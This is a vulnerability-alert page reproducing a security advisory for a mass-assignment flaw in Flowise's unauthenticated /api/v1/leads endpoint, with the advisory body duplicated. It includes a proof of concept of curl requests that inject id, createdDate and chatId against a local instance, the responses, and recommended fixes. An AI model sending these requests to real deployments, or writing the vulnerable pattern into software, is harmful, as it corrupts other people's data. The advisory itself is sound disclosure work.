Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
7.7
Flowise Allows Unauthenticated Users to Modify Lead Data
GHSA-mq4r-h2gh-qv7x
CVE-2026-30822
GHSA-mq4r-h2gh-qv7x
Summary
An unauthenticated user can change internal details of a lead, including ID and creation date, by sending specific data in the request. This can happen because the system doesn't check what data is being sent. To fix this, Flowise should ensure all data sent to its API is validated and filtered properly.
What to do
- Update flowise to version 3.0.13.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| – | flowise | <= 3.0.12 | 3.0.13 |
| – | flowise | <= 3.0.13 | 3.0.13 |
Original title
Flowise Allows Mass Assignment in `/api/v1/leads` Endpoint
Original description
## Summary
**A Mass Assignment vulnerability in the `/api/v1/leads` endpoint allows any unauthenticated user to control internal entity fields (`id`, `createdDate`, `chatId`) by including them in the request body.**
The endpoint uses `Object.assign()` to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.
| Field | Value |
|-------|-------|
| **Vulnerability Type** | Mass Assignment |
| **CWE ID** | [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) |
| **Authentication Required** | None |
| **Affected Endpoint** | `POST /api/v1/leads` |
---
## Details
### Root Cause
The vulnerability exists in `/packages/server/src/services/leads/index.ts` at lines 27-28:
```typescript
// File: /packages/server/src/services/leads/index.ts
// Lines 23-38
const createLead = async (body: Partial<ILead>) => {
try {
const chatId = body.chatId ?? uuidv4()
const newLead = new Lead()
Object.assign(newLead, body) // ← VULNERABILITY: All properties copied!
Object.assign(newLead, { chatId })
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
```
The `Object.assign(newLead, body)` on line 28 copies **ALL** properties from the request body to the Lead entity, including:
- `id` - The primary key (should be auto-generated)
- `createdDate` - The creation timestamp (should be auto-generated)
- `chatId` - The chat identifier
### Lead Entity Definition
The Lead entity at `/packages/server/src/database/entities/Lead.ts` uses TypeORM decorators that should auto-generate these fields:
```typescript
// File: /packages/server/src/database/entities/Lead.ts
@Entity()
export class Lead implements ILead {
@PrimaryGeneratedColumn('uuid') // Should be auto-generated!
id: string
@Column()
name?: string
@Column()
email?: string
@Column()
phone?: string
@Column()
chatflowid: string
@Column()
chatId: string
@CreateDateColumn() // Should be auto-generated!
createdDate: Date
}
```
However, `Object.assign()` overwrites these fields before they are saved, bypassing the auto-generation.
### Why the Endpoint is Publicly Accessible
The `/api/v1/leads` endpoint is whitelisted in `/packages/server/src/utils/constants.ts`:
```typescript
// File: /packages/server/src/utils/constants.ts
// Line 20
export const WHITELIST_URLS = [
// ... other endpoints ...
'/api/v1/leads', // ← No authentication required
// ... more endpoints ...
]
```
---
## Proof of Concept
<img width="1585" height="817" alt="Screenshot 2025-12-26 at 2 28 00 PM" src="https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5" />
### Prerequisites
- Docker and Docker Compose installed
- curl installed
### Step 1: Start Flowise
Create a `docker-compose.yml`:
```yaml
services:
flowise:
image: flowiseai/flowise:latest
restart: unless-stopped
environment:
- PORT=3000
- DATABASE_PATH=/root/.flowise
- DATABASE_TYPE=sqlite
- CORS_ORIGINS=*
- DISABLE_FLOWISE_TELEMETRY=true
ports:
- '3000:3000'
volumes:
- flowise_data:/root/.flowise
entrypoint: /bin/sh -c "sleep 3; flowise start"
volumes:
flowise_data:
```
Start the container:
```bash
docker compose up -d
# Wait for Flowise to be ready (about 1-2 minutes)
curl http://localhost:3000/api/v1/ping
```
### Step 2: Baseline Test - Normal Lead Creation
First, create a normal lead to see expected behavior:
```bash
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "normal-chatflow-123",
"name": "Normal User",
"email": "[email protected]",
"phone": "555-0000"
}'
```
**Expected Response (normal behavior):**
```json
{
"id": "018b23e3-d6cb-4dc5-a276-922a174b44fd",
"name": "Normal User",
"email": "[email protected]",
"phone": "555-0000",
"chatflowid": "normal-chatflow-123",
"chatId": "auto-generated-uuid",
"createdDate": "2025-12-26T06:20:39.000Z"
}
```
Note: The `id` and `createdDate` are auto-generated by the server.
### Step 3: Exploit - Inject Custom ID
Now inject a custom `id`:
```bash
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "attacker-chatflow-456",
"name": "Attacker",
"email": "[email protected]",
"phone": "555-EVIL",
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
}'
```
**Actual Response (vulnerability confirmed):**
```json
{
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
"name": "Attacker",
"email": "[email protected]",
"phone": "555-EVIL",
"chatflowid": "attacker-chatflow-456",
"chatId": "auto-generated-uuid",
"createdDate": "2025-12-26T06:20:40.000Z"
}
```
**⚠️ The attacker-controlled `id` was accepted!**
### Step 4: Exploit - Inject Custom Timestamp
Inject a fake `createdDate`:
```bash
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "timestamp-test-789",
"name": "Time Traveler",
"email": "[email protected]",
"createdDate": "1970-01-01T00:00:00.000Z"
}'
```
**Actual Response (vulnerability confirmed):**
```json
{
"id": "some-auto-generated-uuid",
"name": "Time Traveler",
"email": "[email protected]",
"chatflowid": "timestamp-test-789",
"chatId": "auto-generated-uuid",
"createdDate": "1970-01-01T00:00:00.000Z"
}
```
**⚠️ The attacker-controlled timestamp from 1970 was accepted!**
### Step 5: Exploit - Combined Mass Assignment
Inject multiple fields at once:
```bash
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "any-chatflow-attacker-wants",
"name": "Mass Assignment Attacker",
"email": "[email protected]",
"phone": "555-HACK",
"id": "11111111-2222-3333-4444-555555555555",
"createdDate": "2000-01-01T12:00:00.000Z",
"chatId": "custom-chat-id-injected"
}'
```
**Actual Response (vulnerability confirmed):**
```json
{
"id": "11111111-2222-3333-4444-555555555555",
"name": "Mass Assignment Attacker",
"email": "[email protected]",
"phone": "555-HACK",
"chatflowid": "any-chatflow-attacker-wants",
"chatId": "custom-chat-id-injected",
"createdDate": "2000-01-01T12:00:00.000Z"
}
```
**⚠️ ALL three internal fields (`id`, `createdDate`, `chatId`) were controlled by the attacker!**
### Verification
The exploit succeeds because:
1. ✅ HTTP 200 response (request accepted)
2. ✅ `id` field contains attacker-controlled UUID
3. ✅ `createdDate` field contains attacker-controlled timestamp
4. ✅ `chatId` field contains attacker-controlled string
5. ✅ No authentication headers were sent
---
## Impact
### Who is Affected?
- **All Flowise deployments** that use the leads feature
- Both **open-source** and **enterprise** versions
- Any system that relies on lead data integrity
### Attack Scenarios
| Scenario | Impact |
|----------|--------|
| **ID Collision Attack** | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts |
| **Audit Trail Manipulation** | Attacker sets fake `createdDate` values to hide malicious activity or manipulate reporting |
| **Data Integrity Violation** | Internal fields that should be server-controlled are now user-controlled |
| **Chatflow Association** | Attacker can link leads to arbitrary chatflows they don't own |
### Severity Assessment
While this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:
- Data integrity issues
- Potential business logic bypasses
- Audit/compliance concerns
- Foundation for chained attacks
---
## Recommended Fix
### Option 1: Whitelist Allowed Fields (Recommended)
Only copy explicitly allowed fields from the request body:
```typescript
const createLead = async (body: Partial<ILead>) => {
try {
const chatId = body.chatId ?? uuidv4()
const newLead = new Lead()
// ✅ Only copy allowed fields
const allowedFields = ['chatflowid', 'name', 'email', 'phone']
for (const field of allowedFields) {
if (body[field] !== undefined) {
newLead[field] = body[field]
}
}
newLead.chatId = chatId
// Let TypeORM auto-generate id and createdDate
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
```
### Option 2: Use Destructuring with Explicit Fields
```typescript
const createLead = async (body: Partial<ILead>) => {
try {
// ✅ Only extract allowed fields
const { chatflowid, name, email, phone } = body
const chatId = body.chatId ?? uuidv4()
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create({
chatflowid,
name,
email,
phone,
chatId
// id and createdDate will be auto-generated
})
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
```
### Option 3: Use class-transformer with @Exclude()
Add decorators to the Lead entity to exclude sensitive fields from assignment:
```typescript
import { Exclude } from 'class-transformer'
@Entity()
export class Lead implements ILead {
@PrimaryGeneratedColumn('uuid')
@Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request
id: string
// ... other fields ...
@CreateDateColumn()
@Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request
createdDate: Date
}
```
### Additional Recommendation
Consider applying the same fix to other endpoints that use `Object.assign()` with request bodies, such as:
- `/packages/server/src/utils/addChatMessageFeedback.ts` (similar pattern)
---
## Resources
- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)
- [OWASP: Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)
- [OWASP API Security Top 10 - API6:2023 Unrestricted Access to Sensitive Business Flows](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/)
- [Node.js Security Best Practices](https://nodejs.org/en/docs/guides/security/)
---
**A Mass Assignment vulnerability in the `/api/v1/leads` endpoint allows any unauthenticated user to control internal entity fields (`id`, `createdDate`, `chatId`) by including them in the request body.**
The endpoint uses `Object.assign()` to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.
| Field | Value |
|-------|-------|
| **Vulnerability Type** | Mass Assignment |
| **CWE ID** | [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) |
| **Authentication Required** | None |
| **Affected Endpoint** | `POST /api/v1/leads` |
---
## Details
### Root Cause
The vulnerability exists in `/packages/server/src/services/leads/index.ts` at lines 27-28:
```typescript
// File: /packages/server/src/services/leads/index.ts
// Lines 23-38
const createLead = async (body: Partial<ILead>) => {
try {
const chatId = body.chatId ?? uuidv4()
const newLead = new Lead()
Object.assign(newLead, body) // ← VULNERABILITY: All properties copied!
Object.assign(newLead, { chatId })
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
```
The `Object.assign(newLead, body)` on line 28 copies **ALL** properties from the request body to the Lead entity, including:
- `id` - The primary key (should be auto-generated)
- `createdDate` - The creation timestamp (should be auto-generated)
- `chatId` - The chat identifier
### Lead Entity Definition
The Lead entity at `/packages/server/src/database/entities/Lead.ts` uses TypeORM decorators that should auto-generate these fields:
```typescript
// File: /packages/server/src/database/entities/Lead.ts
@Entity()
export class Lead implements ILead {
@PrimaryGeneratedColumn('uuid') // Should be auto-generated!
id: string
@Column()
name?: string
@Column()
email?: string
@Column()
phone?: string
@Column()
chatflowid: string
@Column()
chatId: string
@CreateDateColumn() // Should be auto-generated!
createdDate: Date
}
```
However, `Object.assign()` overwrites these fields before they are saved, bypassing the auto-generation.
### Why the Endpoint is Publicly Accessible
The `/api/v1/leads` endpoint is whitelisted in `/packages/server/src/utils/constants.ts`:
```typescript
// File: /packages/server/src/utils/constants.ts
// Line 20
export const WHITELIST_URLS = [
// ... other endpoints ...
'/api/v1/leads', // ← No authentication required
// ... more endpoints ...
]
```
---
## Proof of Concept
<img width="1585" height="817" alt="Screenshot 2025-12-26 at 2 28 00 PM" src="https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5" />
### Prerequisites
- Docker and Docker Compose installed
- curl installed
### Step 1: Start Flowise
Create a `docker-compose.yml`:
```yaml
services:
flowise:
image: flowiseai/flowise:latest
restart: unless-stopped
environment:
- PORT=3000
- DATABASE_PATH=/root/.flowise
- DATABASE_TYPE=sqlite
- CORS_ORIGINS=*
- DISABLE_FLOWISE_TELEMETRY=true
ports:
- '3000:3000'
volumes:
- flowise_data:/root/.flowise
entrypoint: /bin/sh -c "sleep 3; flowise start"
volumes:
flowise_data:
```
Start the container:
```bash
docker compose up -d
# Wait for Flowise to be ready (about 1-2 minutes)
curl http://localhost:3000/api/v1/ping
```
### Step 2: Baseline Test - Normal Lead Creation
First, create a normal lead to see expected behavior:
```bash
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "normal-chatflow-123",
"name": "Normal User",
"email": "[email protected]",
"phone": "555-0000"
}'
```
**Expected Response (normal behavior):**
```json
{
"id": "018b23e3-d6cb-4dc5-a276-922a174b44fd",
"name": "Normal User",
"email": "[email protected]",
"phone": "555-0000",
"chatflowid": "normal-chatflow-123",
"chatId": "auto-generated-uuid",
"createdDate": "2025-12-26T06:20:39.000Z"
}
```
Note: The `id` and `createdDate` are auto-generated by the server.
### Step 3: Exploit - Inject Custom ID
Now inject a custom `id`:
```bash
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "attacker-chatflow-456",
"name": "Attacker",
"email": "[email protected]",
"phone": "555-EVIL",
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
}'
```
**Actual Response (vulnerability confirmed):**
```json
{
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
"name": "Attacker",
"email": "[email protected]",
"phone": "555-EVIL",
"chatflowid": "attacker-chatflow-456",
"chatId": "auto-generated-uuid",
"createdDate": "2025-12-26T06:20:40.000Z"
}
```
**⚠️ The attacker-controlled `id` was accepted!**
### Step 4: Exploit - Inject Custom Timestamp
Inject a fake `createdDate`:
```bash
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "timestamp-test-789",
"name": "Time Traveler",
"email": "[email protected]",
"createdDate": "1970-01-01T00:00:00.000Z"
}'
```
**Actual Response (vulnerability confirmed):**
```json
{
"id": "some-auto-generated-uuid",
"name": "Time Traveler",
"email": "[email protected]",
"chatflowid": "timestamp-test-789",
"chatId": "auto-generated-uuid",
"createdDate": "1970-01-01T00:00:00.000Z"
}
```
**⚠️ The attacker-controlled timestamp from 1970 was accepted!**
### Step 5: Exploit - Combined Mass Assignment
Inject multiple fields at once:
```bash
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "any-chatflow-attacker-wants",
"name": "Mass Assignment Attacker",
"email": "[email protected]",
"phone": "555-HACK",
"id": "11111111-2222-3333-4444-555555555555",
"createdDate": "2000-01-01T12:00:00.000Z",
"chatId": "custom-chat-id-injected"
}'
```
**Actual Response (vulnerability confirmed):**
```json
{
"id": "11111111-2222-3333-4444-555555555555",
"name": "Mass Assignment Attacker",
"email": "[email protected]",
"phone": "555-HACK",
"chatflowid": "any-chatflow-attacker-wants",
"chatId": "custom-chat-id-injected",
"createdDate": "2000-01-01T12:00:00.000Z"
}
```
**⚠️ ALL three internal fields (`id`, `createdDate`, `chatId`) were controlled by the attacker!**
### Verification
The exploit succeeds because:
1. ✅ HTTP 200 response (request accepted)
2. ✅ `id` field contains attacker-controlled UUID
3. ✅ `createdDate` field contains attacker-controlled timestamp
4. ✅ `chatId` field contains attacker-controlled string
5. ✅ No authentication headers were sent
---
## Impact
### Who is Affected?
- **All Flowise deployments** that use the leads feature
- Both **open-source** and **enterprise** versions
- Any system that relies on lead data integrity
### Attack Scenarios
| Scenario | Impact |
|----------|--------|
| **ID Collision Attack** | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts |
| **Audit Trail Manipulation** | Attacker sets fake `createdDate` values to hide malicious activity or manipulate reporting |
| **Data Integrity Violation** | Internal fields that should be server-controlled are now user-controlled |
| **Chatflow Association** | Attacker can link leads to arbitrary chatflows they don't own |
### Severity Assessment
While this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:
- Data integrity issues
- Potential business logic bypasses
- Audit/compliance concerns
- Foundation for chained attacks
---
## Recommended Fix
### Option 1: Whitelist Allowed Fields (Recommended)
Only copy explicitly allowed fields from the request body:
```typescript
const createLead = async (body: Partial<ILead>) => {
try {
const chatId = body.chatId ?? uuidv4()
const newLead = new Lead()
// ✅ Only copy allowed fields
const allowedFields = ['chatflowid', 'name', 'email', 'phone']
for (const field of allowedFields) {
if (body[field] !== undefined) {
newLead[field] = body[field]
}
}
newLead.chatId = chatId
// Let TypeORM auto-generate id and createdDate
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
```
### Option 2: Use Destructuring with Explicit Fields
```typescript
const createLead = async (body: Partial<ILead>) => {
try {
// ✅ Only extract allowed fields
const { chatflowid, name, email, phone } = body
const chatId = body.chatId ?? uuidv4()
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create({
chatflowid,
name,
email,
phone,
chatId
// id and createdDate will be auto-generated
})
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
```
### Option 3: Use class-transformer with @Exclude()
Add decorators to the Lead entity to exclude sensitive fields from assignment:
```typescript
import { Exclude } from 'class-transformer'
@Entity()
export class Lead implements ILead {
@PrimaryGeneratedColumn('uuid')
@Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request
id: string
// ... other fields ...
@CreateDateColumn()
@Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request
createdDate: Date
}
```
### Additional Recommendation
Consider applying the same fix to other endpoints that use `Object.assign()` with request bodies, such as:
- `/packages/server/src/utils/addChatMessageFeedback.ts` (similar pattern)
---
## Resources
- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)
- [OWASP: Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)
- [OWASP API Security Top 10 - API6:2023 Unrestricted Access to Sensitive Business Flows](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/)
- [Node.js Security Best Practices](https://nodejs.org/en/docs/guides/security/)
---
ghsa CVSS3.1
7.7
Vulnerability type
CWE-915
Published: 6 Mar 2026 · Updated: 13 Mar 2026 · First seen: 6 Mar 2026